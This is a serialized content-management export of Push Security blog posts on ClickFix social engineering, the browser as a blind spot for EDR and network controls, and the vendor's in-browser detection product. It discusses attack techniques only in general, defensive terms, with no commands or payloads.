suspicious. ",{"data":94760,"content":94761,"nodeType":1003},{},[94762],{"data":94763,"content":94764,"nodeType":866},{},[94765],{"data":94766,"marks":94767,"value":94768,"nodeType":865},{},[],"From the EDR’s point of view, a trusted parent process is launching a script – which might not immediately be judged as malicious, especially if the command is obfuscated or uses allowed system functions. Since the action is initiated by the user, it blends in with normal user-driven administration tasks. ",{"data":94770,"content":94771,"nodeType":1003},{},[94772],{"data":94773,"content":94774,"nodeType":866},{},[94775],{"data":94776,"marks":94777,"value":94778,"nodeType":865},{},[],"The PowerShell commands themselves might be obfuscated or broken into stages to avoid easy detection by heuristic rules. EDR telemetry might record that a PowerShell process ran, but without a known bad signature or a clear policy violation, it may not flag it immediately. ",{"data":94780,"content":94784,"nodeType":925},{"target":94781},{"sys":94782},{"id":94783,"type":922,"linkType":923},"6djGsqBFTHlLLITpTK7IMk",[],{"data":94786,"content":94787,"nodeType":1458},{},[94788],{"data":94789,"marks":94790,"value":94792,"nodeType":865},{},[94791],{"type":961},"Accessing ClickFix-style capabilities is easier than ever",{"data":94794,"content":94795,"nodeType":866},{},[94796,94800,94808],{"data":94797,"marks":94798,"value":94799,"nodeType":865},{},[],"This capability is increasingly available to all levels of threat actor, with ",{"data":94801,"content":94802,"nodeType":882},{"uri":94436},[94803],{"data":94804,"marks":94805,"value":94807,"nodeType":865},{},[94806],{"type":997},"off-the-shelf options available",{"data":94809,"marks":94810,"value":94811,"nodeType":865},{},[]," in the form of ClickFix builders (also called “Win + R”) on popular hacker forums since late 2024. ",{"data":94813,"content":94814,"nodeType":866},{},[94815],{"data":94816,"marks":94817,"value":94818,"nodeType":865},{},[],"Attackers are bundling ClickFix builders into their existing kits to:",{"data":94820,"content":94821,"nodeType":1049},{},[94822,94832],{"data":94823,"content":94824,"nodeType":1003},{},[94825],{"data":94826,"content":94827,"nodeType":866},{},[94828],{"data":94829,"marks":94830,"value":94831,"nodeType":865},{},[],"Use pre-canned landing pages with various lures including Cloudflare. ",{"data":94833,"content":94834,"nodeType":1003},{},[94835],{"data":94836,"content":94837,"nodeType":866},{},[94838],{"data":94839,"marks":94840,"value":94841,"nodeType":865},{},[],"Offer construction of malicious commands that users will paste into the Windows Run dialog. ",{"data":94843,"content":94844,"nodeType":866},{},[94845],{"data":94846,"marks":94847,"value":94848,"nodeType":865},{},[],"These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as payload persistence. The cost of subscription to such a service might be between US$200 to US$1,500 per month. ",{"data":94850,"content":94851,"nodeType":866},{},[94852],{"data":94853,"marks":94854,"value":94855,"nodeType":865},{},[],"In short, these capabilities are increasingly accessible to the general population of hackers, and it is increasingly in the interests of malware developers to offer premium hacker tools designed to bypass current detections. ",{"data":94857,"content":94861,"nodeType":925},{"target":94858},{"sys":94859},{"id":94860,"type":922,"linkType":923},"5hkRsOBZCOABAShCo8RjJg",[],{"data":94863,"content":94864,"nodeType":866},{},[94865],{"data":94866,"marks":94867,"value":94868,"nodeType":865},{},[],"In any case, relying on just-in-time detection at the point of execution is increasingly unreliable and will always be at the mercy of the cat-and-mouse game between attackers and defenders. Organizations employing custom detections looking for specific malware behavior are likely to have better success than those relying on out-of-the-box EDR configs, but this requires continual maintenance to be effective. ",{"data":94870,"content":94871,"nodeType":953},{},[],{"data":94873,"content":94874,"nodeType":963},{},[94875],{"data":94876,"marks":94877,"value":94879,"nodeType":865},{},[94878],{"type":961},"Solving ClickFix detection in the browser with Push",{"data":94881,"content":94882,"nodeType":866},{},[94883,94886,94890],{"data":94884,"marks":94885,"value":94535,"nodeType":865},{},[],{"data":94887,"marks":94888,"value":94315,"nodeType":865},{},[94889],{"type":961},{"data":94891,"marks":94892,"value":94893,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking, with a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":94895,"content":94896,"nodeType":866},{},[94897,94901,94909],{"data":94898,"marks":94899,"value":94900,"nodeType":865},{},[],"A key part of our design philosophy is to find ways to universally detect attacker TTPs by analyzing generic attacker actions that can’t be avoided by the attacker. One of our best prior examples of this is with our ",{"data":94902,"content":94903,"nodeType":882},{"uri":87327},[94904],{"data":94905,"marks":94906,"value":94908,"nodeType":865},{},[94907],{"type":997},"password protection feature",{"data":94910,"marks":94911,"value":94912,"nodeType":865},{},[],", which detects and blocks phishing attacks by triggering when a user attempts to enter a password that belongs to one domain on a different domain. ",{"data":94914,"content":94915,"nodeType":866},{},[94916],{"data":94917,"marks":94918,"value":94919,"nodeType":865},{},[],"In the case of ClickFix, every attack involves copying a malicious script from a page — a behavior the attacker can’t avoid.",{"data":94921,"content":94922,"nodeType":866},{},[94923],{"data":94924,"marks":94925,"value":94926,"nodeType":865},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity. ",{"data":94928,"content":94929,"nodeType":866},{},[94930],{"data":94931,"marks":94932,"value":94933,"nodeType":865},{},[],"Check out the video below to see Push in action. ",{"data":94935,"content":94938,"nodeType":925},{"target":94936},{"sys":94937},{"id":94338,"type":922,"linkType":923},[],{"data":94940,"content":94941,"nodeType":1458},{},[94942],{"data":94943,"marks":94944,"value":94946,"nodeType":865},{},[94945],{"type":961},"Enable ClickFix detection in just a few clicks",{"data":94948,"content":94949,"nodeType":866},{},[94950,94954,94962],{"data":94951,"marks":94952,"value":94953,"nodeType":865},{},[],"Check out the ",{"data":94955,"content":94957,"nodeType":882},{"uri":94956},"https://pushsecurity.com/help/10141/#start",[94958],{"data":94959,"marks":94960,"value":94961,"nodeType":865},{},[],"help article",{"data":94963,"marks":94964,"value":94965,"nodeType":865},{},[]," for step-by-step instructions on how to enable the control. ",{"data":94967,"content":94968,"nodeType":953},{},[],{"data":94970,"content":94971,"nodeType":963},{},[94972],{"data":94973,"marks":94974,"value":1704,"nodeType":865},{},[94975],{"type":961},{"data":94977,"content":94978,"nodeType":866},{},[94979],{"data":94980,"marks":94981,"value":94982,"nodeType":865},{},[],"Push provides last mile protection against browser-based attacks, adding a net-new layer of technical protection in the browser. ",{"data":94984,"content":94985,"nodeType":866},{},[94986],{"data":94987,"marks":94988,"value":94989,"nodeType":865},{},[],"Right now, most organizations are left relying on user awareness. Faced with increasingly novel attack types, encountered all over the internet, users are being caught unawares — further reducing the efficacy of an already fragile control. ",{"data":94991,"content":94992,"nodeType":866},{},[94993],{"data":94994,"marks":94995,"value":94996,"nodeType":865},{},[],"By seeing what the user sees in the browser, as they see it, as well as monitoring for risky behaviors, Push provides a strong backstop against an ever-expanding landscape of browser-based exploits. ",{"data":94998,"content":94999,"nodeType":866},{},[95000],{"data":95001,"marks":95002,"value":95003,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":95005,"content":95006,"nodeType":866},{},[95007,95010,95017,95020,95027],{"data":95008,"marks":95009,"value":32401,"nodeType":865},{},[],{"data":95011,"content":95012,"nodeType":882},{"uri":22700},[95013],{"data":95014,"marks":95015,"value":22706,"nodeType":865},{},[95016],{"type":997},{"data":95018,"marks":95019,"value":71034,"nodeType":865},{},[],{"data":95021,"content":95022,"nodeType":882},{"uri":1728},[95023],{"data":95024,"marks":95025,"value":22730,"nodeType":865},{},[95026],{"type":997},{"data":95028,"marks":95029,"value":1048,"nodeType":865},{},[],{"data":95031,"content":95034,"nodeType":925},{"target":95032},{"sys":95033},{"id":94783,"type":922,"linkType":923},[],{"data":95036,"content":95037,"nodeType":866},{},[95038],{"data":95039,"marks":95040,"value":21,"nodeType":865},{},[],"Push now detects malware delivery in the browser, supporting a layered defense against endpoint attacks. ","2025-10-09T00:00:00.000Z",{"items":95044},[95045,95047],{"sys":95046,"name":342},{"id":8410},{"sys":95048,"name":11426},{"id":11425},{"items":95050},[95051],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":95052},{"url":11434},"blog/installfix",{"json":95055},{"data":95056,"content":95057,"nodeType":1739},{},[95058],{"data":95059,"content":95060,"nodeType":866},{},[95061],{"data":95062,"marks":95063,"value":95064,"nodeType":865},{},[],"Attackers are distributing almost identical cloned sites of popular developer tools like Claude Code with fake install instructions via malicious search engine ads — tricking victims into installing infostealer malware instead. ",{"id":15362,"publishedAt":95066},"2026-08-12T13:28:02.181Z",{"items":95068},[95069,95071],{"sys":95070,"name":11426},{"id":11425},{"sys":95072,"name":342},{"id":8410},{"items":95074},[95075,95077,95079,95081,95083,95085,95087,95089,95091,95093,95095,95097],{"sys":95076,"name":279,"slug":280,"tier":31},{"id":276},{"sys":95078,"name":519,"slug":520,"tier":31},{"id":516},{"sys":95080,"name":342,"slug":343,"tier":31},{"id":339},{"sys":95082,"name":642,"slug":643,"tier":31},{"id":639},{"sys":95084,"name":315,"slug":316,"tier":45},{"id":312},{"sys":95086,"name":440,"slug":441,"tier":45},{"id":437},{"sys":95088,"name":607,"slug":608,"tier":45},{"id":604},{"sys":95090,"name":448,"slug":449,"tier":45},{"id":445},{"sys":95092,"name":422,"slug":423,"tier":45},{"id":419},{"sys":95094,"name":431,"slug":432,"tier":45},{"id":428},{"sys":95096,"name":475,"slug":476,"tier":45},{"id":472},{"sys":95098,"name":244,"slug":245,"tier":45},{"id":241},"bhqwswrCKY8XUOeyfqgrT_bbdwMvlm25CtqySFe4ADE",{"id":95101,"title":81767,"authorsCollection":95102,"content":95106,"extension":228,"faqItemsCollection":95504,"faqTitle":59,"featured":6,"hashTags":59,"meta":95506,"metaTitle":95507,"ogImage":59,"postType":1783,"publishedDate":95508,"relatedBlogPostsCollection":95509,"slug":81768,"stem":96398,"subtitle":59,"summary":96399,"synopsis":96410,"sys":96411,"tagsCollection":96413,"topicsCollection":96419,"__hash__":96437},"blog/blog/push-plus-endpoint-security.json",{"items":95103},[95104],{"fullName":8448,"firstName":8449,"jobTitle":3776,"socialLinks":59,"profilePicture":95105},{"url":8451},{"json":95107,"links":95488},{"data":95108,"content":95109,"nodeType":1739},{},[95110,95118,95125,95132,95144,95156,95164,95171,95178,95185,95191,95194,95202,95209,95216,95228,95235,95242,95250,95257,95305,95321,95328,95336,95343,95370,95377,95385,95433,95440,95476,95482],{"data":95111,"content":95112,"nodeType":963},{},[95113],{"data":95114,"marks":95115,"value":95117,"nodeType":865},{},[95116],{"type":961},"EDR is still the best tool for attacks that touch the endpoint",{"data":95119,"content":95120,"nodeType":866},{},[95121],{"data":95122,"marks":95123,"value":95124,"nodeType":865},{},[],"Endpoint Detection and Response (EDR) tooling is fundamental to modern security. It earned its place as a foundational control by moving defense away from static, known-bad indicators and toward deep, real-time detection, investigation, and response based on behavior observed in a live environment. ",{"data":95126,"content":95127,"nodeType":866},{},[95128],{"data":95129,"marks":95130,"value":95131,"nodeType":865},{},[],"By running an agent inside the operating system, EDR gave defenders something they never had before: visibility into what was actually happening on the host as it happened, and the ability to act on it.",{"data":95133,"content":95134,"nodeType":866},{},[95135,95139],{"data":95136,"marks":95137,"value":95138,"nodeType":865},{},[],"That agent-level visibility is still incredibly powerful. File system changes, process execution, memory behavior, or registry modifications is the kind of telemetry that enables threat hunting, exposes fileless attacks, and allows teams to contain incidents by isolating a device or killing a malicious process. ",{"data":95140,"marks":95141,"value":95143,"nodeType":865},{},[95142],{"type":961},"For anything that touches the endpoint, EDR remains the right tool.",{"data":95145,"content":95146,"nodeType":866},{},[95147,95151],{"data":95148,"marks":95149,"value":95150,"nodeType":865},{},[],"But that’s the key constraint: ",{"data":95152,"marks":95153,"value":95155,"nodeType":865},{},[95154],{"type":944},"for anything that touches the endpoint.",{"data":95157,"content":95158,"nodeType":1458},{},[95159],{"data":95160,"marks":95161,"value":95163,"nodeType":865},{},[95162],{"type":961},"But modern attacks have moved beyond the endpoint",{"data":95165,"content":95166,"nodeType":866},{},[95167],{"data":95168,"marks":95169,"value":95170,"nodeType":865},{},[],"The reality of how work gets done has shifted. Most applications are now SaaS-based and accessed entirely through a browser. Employees authenticate, move data, administer systems, and interact with customers inside a browser window. And attackers have followed them there.",{"data":95172,"content":95173,"nodeType":866},{},[95174],{"data":95175,"marks":95176,"value":95177,"nodeType":865},{},[],"When attacks play out in the browser, endpoint-level signals often never appear. From the operating system’s perspective, there’s just a browser process behaving normally. The EDR agent is doing exactly what it was designed to do, but the activity that matters is happening within the browser itself.",{"data":95179,"content":95180,"nodeType":866},{},[95181],{"data":95182,"marks":95183,"value":95184,"nodeType":865},{},[],"That’s the gap teams are running into. EDR protects the integrity of the host, but it has no visibility into the live application session inside the browser. And as attackers consciously avoid the endpoint entirely, that blind spot is becoming harder to ignore.",{"data":95186,"content":95190,"nodeType":925},{"target":95187},{"sys":95188},{"id":95189,"type":922,"linkType":923},"7aVTgi4Btxl6PpzQl8kipW",[],{"data":95192,"content":95193,"nodeType":953},{},[],{"data":95195,"content":95196,"nodeType":963},{},[95197],{"data":95198,"marks":95199,"value":95201,"nodeType":865},{},[95200],{"type":961},"Attackers are consciously evading EDR",{"data":95203,"content":95204,"nodeType":866},{},[95205],{"data":95206,"marks":95207,"value":95208,"nodeType":865},{},[],"The gap endpoint teams are running into isn’t accidental. It’s the result of attackers adapting to where defenders are strongest (and weakest).",{"data":95210,"content":95211,"nodeType":866},{},[95212],{"data":95213,"marks":95214,"value":95215,"nodeType":865},{},[],"Modern EDR has made compromising the host operating system expensive and noisy. Deep telemetry and constant monitoring mean that even when an attacker manages to execute code on a device, that action is quickly under scrutiny. From there, progress is slow. After all, lateral movement and persistence take time, and all of it carries risk and generates signals defenders are good at catching.",{"data":95217,"content":95218,"nodeType":866},{},[95219,95224],{"data":95220,"marks":95221,"value":95223,"nodeType":865},{},[95222],{"type":961},"So attackers take a different route. ",{"data":95225,"marks":95226,"value":95227,"nodeType":865},{},[],"Instead of targeting the OS, they operate inside the browser session, abusing legitimate access paths to cloud applications directly over the internet. The endpoint just sees a browser session, not the malicious activity that's happening inside it. ",{"data":95229,"content":95230,"nodeType":866},{},[95231],{"data":95232,"marks":95233,"value":95234,"nodeType":865},{},[],"EDR agents are extremely good at protecting the operating system, but their visibility largely stops at the browser boundary. They can see that a browser process is running. They can’t see what a user is actually interacting with inside a specific tab, or what code is executing within the browser.",{"data":95236,"content":95237,"nodeType":866},{},[95238],{"data":95239,"marks":95240,"value":95241,"nodeType":865},{},[],"This is the shift security teams are feeling. Attacks don’t trigger endpoint alerts because they aren’t endpoint attacks. They unfold inside the browser, over standard web sessions, using legitimate accounts. To EDR, the host is unaffected. To the business, the damage is already underway.",{"data":95243,"content":95244,"nodeType":1458},{},[95245],{"data":95246,"marks":95247,"value":95249,"nodeType":865},{},[95248],{"type":961},"How modern attacks circumvent EDR",{"data":95251,"content":95252,"nodeType":866},{},[95253],{"data":95254,"marks":95255,"value":95256,"nodeType":865},{},[],"Examples of modern attacks that are consciously evading EDR by staying off the endpoint include:",{"data":95258,"content":95259,"nodeType":1049},{},[95260,95275,95290],{"data":95261,"content":95262,"nodeType":1003},{},[95263],{"data":95264,"content":95265,"nodeType":866},{},[95266,95271],{"data":95267,"marks":95268,"value":95270,"nodeType":865},{},[95269],{"type":961},"AiTM phishing: ",{"data":95272,"marks":95273,"value":95274,"nodeType":865},{},[],"Sophisticated attacker-in-the-middle phishing kits render convincing login pages directly in the browser and proxy authentication in real time, stealing credentials or MFA tokens as the user enters them. From the OS perspective, nothing appears unusual; EDR can’t see the page structure or scripts running inside the tab.",{"data":95276,"content":95277,"nodeType":1003},{},[95278],{"data":95279,"content":95280,"nodeType":866},{},[95281,95286],{"data":95282,"marks":95283,"value":95285,"nodeType":865},{},[95284],{"type":961},"Session hijacking:",{"data":95287,"marks":95288,"value":95289,"nodeType":865},{},[]," When attackers obtain a valid session token, they gain persistent access to an account without needing a password at all. Once in use, the session typically blends into normal browser activity, generating no endpoint data. ",{"data":95291,"content":95292,"nodeType":1003},{},[95293],{"data":95294,"content":95295,"nodeType":866},{},[95296,95301],{"data":95297,"marks":95298,"value":95300,"nodeType":865},{},[95299],{"type":961},"Malicious browser extensions:",{"data":95302,"marks":95303,"value":95304,"nodeType":865},{},[]," Malicious extensions (either made by attackers or hijacked by them) can read page content, intercept credentials, or siphon session tokens. Because extensions operate inside the browser’s execution model, their behavior is largely invisible to endpoint tooling focused on OS-level activity.",{"data":95306,"content":95307,"nodeType":866},{},[95308,95312,95317],{"data":95309,"marks":95310,"value":95311,"nodeType":865},{},[],"Even attacks that nominally involve the endpoint often stay outside EDR’s strongest visibility. ",{"data":95313,"marks":95314,"value":95316,"nodeType":865},{},[95315],{"type":961},"ClickFix-style social engineering",{"data":95318,"marks":95319,"value":95320,"nodeType":865},{},[]," is a good example. Attackers manipulate users into taking risky actions that look legitimate, the most prominent example being executing malicious commands on the host that are deliberately obfuscated or broken into benign-looking steps. While EDR may catch the code execution (and any malware the execution attempts to install), these techniques are designed to stay ambiguous enough to avoid reliable detection.",{"data":95322,"content":95323,"nodeType":866},{},[95324],{"data":95325,"marks":95326,"value":95327,"nodeType":865},{},[],"All of these attacks succeed for the same reason: the activity unfolds inside the browser. And because EDR was never designed to observe or control what happens inside a live browser session, attackers can operate there with far less resistance.",{"data":95329,"content":95330,"nodeType":1458},{},[95331],{"data":95332,"marks":95333,"value":95335,"nodeType":865},{},[95334],{"type":961},"Extending detection and response to the browser",{"data":95337,"content":95338,"nodeType":866},{},[95339],{"data":95340,"marks":95341,"value":95342,"nodeType":865},{},[],"Defenders need to meet attackers where they actually operate. That means establishing real detection and response capabilities inside the browser itself.",{"data":95344,"content":95345,"nodeType":866},{},[95346,95350,95355,95359,95367],{"data":95347,"marks":95348,"value":95349,"nodeType":865},{},[],"When endpoint security evolved, it did so by putting an agent on the host to observe behavior, collect telemetry, and act at the source — ",{"data":95351,"marks":95352,"value":95354,"nodeType":865},{},[95353],{"type":961},"getting inside the data stream",{"data":95356,"marks":95357,"value":95358,"nodeType":865},{},[],". The same logic applies here. If the browser is where credentials are entered, sessions are established, and attacks unfold, then it needs to be treated as a security surface in its own right. ",{"data":95360,"content":95362,"nodeType":882},{"uri":95361},"https://pushsecurity.com/blog/push-plus-network-security",[95363],{"data":95364,"marks":95365,"value":95366,"nodeType":865},{},[],"That doesn't mean just looking at web traffic, but examining client-side browser processes and activity that are the best, earliest indicators of bad activity. ",{"data":95368,"marks":95369,"value":21,"nodeType":865},{},[],{"data":95371,"content":95372,"nodeType":866},{},[95373],{"data":95374,"marks":95375,"value":95376,"nodeType":865},{},[],"This doesn’t replace EDR. EDR secures the host. Identity tools govern authentication. But the browser, the layer that connects users to everything else, is a blind spot. Extending detection and response into that layer fills the gap while complementing the controls that already work.",{"data":95378,"content":95379,"nodeType":1458},{},[95380],{"data":95381,"marks":95382,"value":95384,"nodeType":865},{},[95383],{"type":961},"Your browser detection and response checklist",{"data":95386,"content":95387,"nodeType":1049},{},[95388,95403,95418],{"data":95389,"content":95390,"nodeType":1003},{},[95391],{"data":95392,"content":95393,"nodeType":866},{},[95394,95399],{"data":95395,"marks":95396,"value":95398,"nodeType":865},{},[95397],{"type":961},"Browser-native protection: ",{"data":95400,"marks":95401,"value":95402,"nodeType":865},{},[],"Running inside the browser is the only way you can see what page a user is interacting with, what scripts are running, and how the session is behaving in real time. It’s also the only place you can reliably distinguish between normal user activity and attacker-driven manipulation.",{"data":95404,"content":95405,"nodeType":1003},{},[95406],{"data":95407,"content":95408,"nodeType":866},{},[95409,95414],{"data":95410,"marks":95411,"value":95413,"nodeType":865},{},[95412],{"type":961},"Behavioral detection:",{"data":95415,"marks":95416,"value":95417,"nodeType":865},{},[]," Detection can’t rely on static indicators. It has to be based on behaviors — like how pages render, how credentials are submitted, and how sessions are established and abused. ",{"data":95419,"content":95420,"nodeType":1003},{},[95421],{"data":95422,"content":95423,"nodeType":866},{},[95424,95429],{"data":95425,"marks":95426,"value":95428,"nodeType":865},{},[95427],{"type":961},"Real-time interception:",{"data":95430,"marks":95431,"value":95432,"nodeType":865},{},[]," Response has to be immediate. Blocking credential submission, interrupting a malicious action, capturing high-fidelity context, all of that needs to happen at the point of interaction — before an account is compromised.",{"data":95434,"content":95435,"nodeType":866},{},[95436],{"data":95437,"marks":95438,"value":95439,"nodeType":865},{},[],"This is what it means to extend detection and response to the browser: not another tool bolted onto the stack, but a necessary evolution in how modern attacks are actually stopped.",{"data":95441,"content":95442,"nodeType":11214},{},[95443],{"data":95444,"content":95445,"nodeType":866},{},[95446,95449,95455,95458,95464,95467,95473],{"data":95447,"marks":95448,"value":87418,"nodeType":865},{},[],{"data":95450,"content":95451,"nodeType":882},{"uri":22700},[95452],{"data":95453,"marks":95454,"value":87426,"nodeType":865},{},[],{"data":95456,"marks":95457,"value":2186,"nodeType":865},{},[],{"data":95459,"content":95460,"nodeType":882},{"uri":22712},[95461],{"data":95462,"marks":95463,"value":22718,"nodeType":865},{},[],{"data":95465,"marks":95466,"value":22722,"nodeType":865},{},[],{"data":95468,"content":95469,"nodeType":882},{"uri":1728},[95470],{"data":95471,"marks":95472,"value":22730,"nodeType":865},{},[],{"data":95474,"marks":95475,"value":1048,"nodeType":865},{},[],{"data":95477,"content":95481,"nodeType":925},{"target":95478},{"sys":95479},{"id":95480,"type":922,"linkType":923},"1doMkOu2ZuGqMp2VJgV5pb",[],{"data":95483,"content":95484,"nodeType":866},{},[95485],{"data":95486,"marks":95487,"value":21,"nodeType":865},{},[],{"entries":95489},{"hyperlink":95490,"inline":95491,"block":95492},[],[],[95493,95501],{"sys":95494,"__typename":1747,"title":95495,"caption":95496,"layoutMode":59,"file":95497},{"id":95189},"Security Eras","Modern attacks play out in the browser, exploiting a security blindspot",{"url":95498,"width":95499,"height":95500},"https://images.ctfassets.net/y1cdw1ablpvd/4zqrAlec1qJaCnE4OUFT7A/7dcd3f568ec90308ba1025ab5be686bb/Screenshot_2026-01-30_at_12.22.19.png",3418,1788,{"sys":95502,"__typename":5631,"type":5632,"ctaText":95503,"buttonLabel":57303,"buttonColour":5635,"buttonUrl":13728},{"id":95480},"Stop browser-based attacks in real time. Book a demo today. ",{"items":95505},[],{},"Push + Endpoint Security: Extending D&R to the browser","2026-01-30T00:00:00.000Z",{"items":95510},[95511,96013],{"__typename":1788,"sys":95512,"content":95513,"title":81763,"synopsis":96002,"hashTags":59,"publishedDate":95508,"slug":81764,"tagsCollection":96003,"authorsCollection":96009},{"id":79644},{"json":95514},{"data":95515,"content":95516,"nodeType":1739},{},[95517,95525,95532,95539,95551,95559,95566,95573,95580,95588,95591,95599,95606,95613,95620,95637,95643,95650,95668,95676,95794,95797,95805,95812,95824,95831,95837,95844,95851,95859,95866,95874,95881,95888,95895,95943,95955,95991,95996],{"data":95518,"content":95519,"nodeType":963},{},[95520],{"data":95521,"marks":95522,"value":95524,"nodeType":865},{},[95523],{"type":961},"Defense used to start at the network perimeter",{"data":95526,"content":95527,"nodeType":866},{},[95528],{"data":95529,"marks":95530,"value":95531,"nodeType":865},{},[],"If you've been working in security for any length of time, you know where defense starts: the network. Long before cloud-first or SaaS-first became default, the perimeter was where defenders had leverage: visibility, enforcement, and control over traffic moving in and out of the organization.",{"data":95533,"content":95534,"nodeType":866},{},[95535],{"data":95536,"marks":95537,"value":95538,"nodeType":865},{},[],"That mental model hasn’t disappeared. Secure Web Gateways, Cloud Access Security Brokers, and the converged Security Service Edge architecture exist because the problem they solve is still real. Organizations generate an enormous volume of web traffic, and someone has to monitor it, filter it, and enforce policy at scale. These tools sit inline, log metadata, apply categorization, and block what’s already known to be dangerous. Without them, the environment quickly becomes unmanageable and extremely difficult to secure.",{"data":95540,"content":95541,"nodeType":866},{},[95542,95546],{"data":95543,"marks":95544,"value":95545,"nodeType":865},{},[],"They are very good at what they were designed to do: securing the wire. ",{"data":95547,"marks":95548,"value":95550,"nodeType":865},{},[95549],{"type":961},"But what happens over the wire is not the full picture. ",{"data":95552,"content":95553,"nodeType":1458},{},[95554],{"data":95555,"marks":95556,"value":95558,"nodeType":865},{},[95557],{"type":961},"Traffic isn't the whole picture anymore",{"data":95560,"content":95561,"nodeType":866},{},[95562],{"data":95563,"marks":95564,"value":95565,"nodeType":865},{},[],"A significant amount of activity happens locally, inside the browser, beyond the visibility of network controls. Modern webpages are effectively complicated web apps that are rendered client-side via JavaScript — and not everything that happens on the page is traffic-generating. ",{"data":95567,"content":95568,"nodeType":866},{},[95569],{"data":95570,"marks":95571,"value":95572,"nodeType":865},{},[],"That distinction matters more than it used to. Authentication, data access, administrative actions, almost all of it now happens inside a browser tab. As a result, the browser has become a central point of both productivity and risk.",{"data":95574,"content":95575,"nodeType":866},{},[95576],{"data":95577,"marks":95578,"value":95579,"nodeType":865},{},[],"Network tools still see the pipeline of traffic moving back and forth. But attackers have adapted to operate within that pipeline rather than around it. They don’t need to break the connection or trigger obvious anomalies. They target the content rendered inside the browser and the user interacting with it.",{"data":95581,"content":95582,"nodeType":866},{},[95583],{"data":95584,"marks":95585,"value":95587,"nodeType":865},{},[95586],{"type":961},"That leaves security teams with noisy traffic visibility and very little insight into the actual attack unfolding inside the browser session.",{"data":95589,"content":95590,"nodeType":953},{},[],{"data":95592,"content":95593,"nodeType":963},{},[95594],{"data":95595,"marks":95596,"value":95598,"nodeType":865},{},[95597],{"type":961},"Traffic visibility vs. in-browser context",{"data":95600,"content":95601,"nodeType":866},{},[95602],{"data":95603,"marks":95604,"value":95605,"nodeType":865},{},[],"The modern attacker's playbook is built on a simple idea: stay inside the network’s line of sight without triggering detections or enforcement. Containing operations to the browser layer provides attackers with an easy bypass of many traditional network controls without ever needing to break or evade them outright.",{"data":95607,"content":95608,"nodeType":866},{},[95609],{"data":95610,"marks":95611,"value":95612,"nodeType":865},{},[],"They do this by staying ahead of known-bad detection models, constantly rotating domains and URLs, using anti-analysis techniques, and delivering phishing lures through channels that bypass traditional network ingress points like the email gateway (like social media or SMS). In many cases, the link is never evaluated by perimeter controls at all.",{"data":95614,"content":95615,"nodeType":866},{},[95616],{"data":95617,"marks":95618,"value":95619,"nodeType":865},{},[],"This creates a fundamental visibility gap. Network security tools can see a request going to a legitimate-looking destination, but they can’t observe what happens once the page executes client-side in the browser. Malicious scripts and phishing elements often don’t appear until after the page loads and a user interacts with it, leaving nothing obviously known-bad for network controls to detect.",{"data":95621,"content":95622,"nodeType":866},{},[95623,95627,95633],{"data":95624,"marks":95625,"value":95626,"nodeType":865},{},[],"Blocklists don’t help much here either. Domains rotate constantly, and the window between a phishing site going live and being categorized as malicious is more than enough time for an attacker to succeed. Until that happens, the traffic appears benign and the user is free to interact with the page. And to make matters worse, attackers are leveraging ",{"data":95628,"content":95629,"nodeType":882},{"uri":8821},[95630],{"data":95631,"marks":95632,"value":29898,"nodeType":865},{},[],{"data":95634,"marks":95635,"value":95636,"nodeType":865},{},[]," designed to frustrate these detections — meaning most bad pages aren't spotted until it's way too late. ",{"data":95638,"content":95642,"nodeType":925},{"target":95639},{"sys":95640},{"id":95641,"type":922,"linkType":923},"38X1De97xJ8B6GNXTHW6Y5",[],{"data":95644,"content":95645,"nodeType":866},{},[95646],{"data":95647,"marks":95648,"value":95649,"nodeType":865},{},[],"Consider attacker-in-the-middle phishing. From the proxy’s perspective, everything looks clean: user → reputable domain → “standard” web traffic. The phishing infrastructure is often hidden behind redirects or conditional logic designed to screen out proxies and scanners. Inside the browser session, however, credentials are intercepted, session tokens are harvested, and MFA is bypassed in real time.",{"data":95651,"content":95652,"nodeType":866},{},[95653,95657,95664],{"data":95654,"marks":95655,"value":95656,"nodeType":865},{},[],"For ",{"data":95658,"content":95659,"nodeType":882},{"uri":8759},[95660],{"data":95661,"marks":95662,"value":95663,"nodeType":865},{},[],"modern threat groups",{"data":95665,"marks":95666,"value":95667,"nodeType":865},{},[],", these obscured attack vectors lead directly to initial access and account takeover. The network is no longer the control point where the most consequential attacks can be reliably stopped.",{"data":95669,"content":95670,"nodeType":866},{},[95671],{"data":95672,"marks":95673,"value":95675,"nodeType":865},{},[95674],{"type":944},"Browser telemetry is key to detecting and blocking malicious content in real-time, rather than relying on blocklists using known-bad indicators like domains and IPs that go out of date as quickly as new entries appear.",{"data":95677,"content":95678,"nodeType":2396},{},[95679,95702,95725,95748,95771],{"data":95680,"content":95681,"nodeType":1869},{},[95682,95692],{"data":95683,"content":95684,"nodeType":13791},{},[95685],{"data":95686,"content":95687,"nodeType":866},{},[95688],{"data":95689,"marks":95690,"value":95691,"nodeType":865},{},[],"What you see with traffic analysis",{"data":95693,"content":95694,"nodeType":13791},{},[95695],{"data":95696,"content":95697,"nodeType":866},{},[95698],{"data":95699,"marks":95700,"value":95701,"nodeType":865},{},[],"What you can see with browser telemetry",{"data":95703,"content":95704,"nodeType":1869},{},[95705,95715],{"data":95706,"content":95707,"nodeType":1835},{},[95708],{"data":95709,"content":95710,"nodeType":866},{},[95711],{"data":95712,"marks":95713,"value":95714,"nodeType":865},{},[],"HTTP request/response bodies ",{"data":95716,"content":95717,"nodeType":1835},{},[95718],{"data":95719,"content":95720,"nodeType":866},{},[95721],{"data":95722,"marks":95723,"value":95724,"nodeType":865},{},[],"DOM structure fingerprints",{"data":95726,"content":95727,"nodeType":1869},{},[95728,95738],{"data":95729,"content":95730,"nodeType":1835},{},[95731],{"data":95732,"content":95733,"nodeType":866},{},[95734],{"data":95735,"marks":95736,"value":95737,"nodeType":865},{},[],"URLs and 